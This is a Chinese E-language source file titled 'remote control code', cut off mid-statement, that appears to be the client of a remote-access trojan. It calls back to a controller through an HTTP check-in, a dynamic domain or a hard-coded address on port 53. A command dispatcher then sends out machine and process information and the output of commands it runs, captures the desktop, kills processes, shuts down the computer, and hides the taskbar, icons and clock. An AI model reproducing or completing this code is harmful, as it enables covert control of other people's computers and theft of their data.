易语言远程控制代码.doc

易语言远程控制代码.版本 2.支持库 eAPI.程序集 窗口程序集1.程序集变量 a, 子程序指针.子程序 __启动窗口_创建完毕时钟1.时钟周期 ＝ 5000a ＝ SetWindowLong (_启动窗口.取窗口句柄 (), -4, MsgProc)网络连接 ＝ 假.子程序 _时钟1_周期事件.局部变量 IP, 文本型.局部变量 分割, 文本型, , 0IP ＝ 端口分析 ()分割 ＝ 分割文本 (IP, “|”, ).判断开始 (IP ≠ “”) 客户1.连接 (分割 [1], 到数值 (分割 [2])) 客户IP ＝ 分割 [1].默认 IP ＝ HTTP上线分析 () 清除数组 (分割) 分割 ＝ 分割文本 (IP, “:”, ) .判断开始 (IP ≠ “”) 客户1.连接 (分割 [1], 到数值 (分割 [2])) 客户IP ＝ 分割 [1] .默认 IP ＝ 动态域名分析 () .判断开始 (IP ≠ “”) 客户1.连接 (IP, 53) 客户IP ＝ IP .默认 客户1.连接 (“64”, 53) 仅做编译后调试使用 客户IP ＝ “64” 输出调试文本 (“连接IP地址”) .判断结束 .判断结束.判断结束.子程序 _客户1_数据到达.局部变量 临时数据, 字节集临时数据 ＝ 客户1.取回数据 ().判断开始 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT001”) 时钟1.时钟周期 ＝ 0 输出调试文本 (“收到 LCT001”).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT002”) 输出调试文本 (“收到 LCT002”) 数据发送 (“LCT002”, 机器信息 ()).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT003”) 输出调试文本 (“收到 LCT003”) 数据发送 (“LCT003”, 输出信息 (取文本右边 (到文本 (临时数据), 取字节集长度 (临时数据) － 6))).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT004”) 输出调试文本 (“收到 LCT004”) 捕获桌面 ().判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT005”) 输出调试文本 (“收到 LCT005”) 数据发送 (“LCT005”, 进程信息 ()) 输出调试文本 (“发送 LCT005”).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT006”) 输出调试文本 (“收到 LCT006”) 结束进程 (取文本右边 (到文本 (临时数据), 取字节集长度 (临时数据) － 6)).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT007”) 关闭计算机 (1, 真).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT008”) 关闭计算机 (2, 真).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT009”) 关闭计算机 (0, 真).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT010”) 弹出光驱 ().判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT011”) 隐藏桌面图标 ().判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT012”) 隐藏开始按钮 ().判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT013”) 隐藏任务栏 ().判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT014”) 隐藏系统时钟 ().判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型, ) ＝ “LCT015”) 设置壁纸 (取字节集右边 (临时数据, 取字节集长度 (临时数据) － 6)).判断 (取字节集数据 (取字节集左边 (临时数据, 6), #文本型,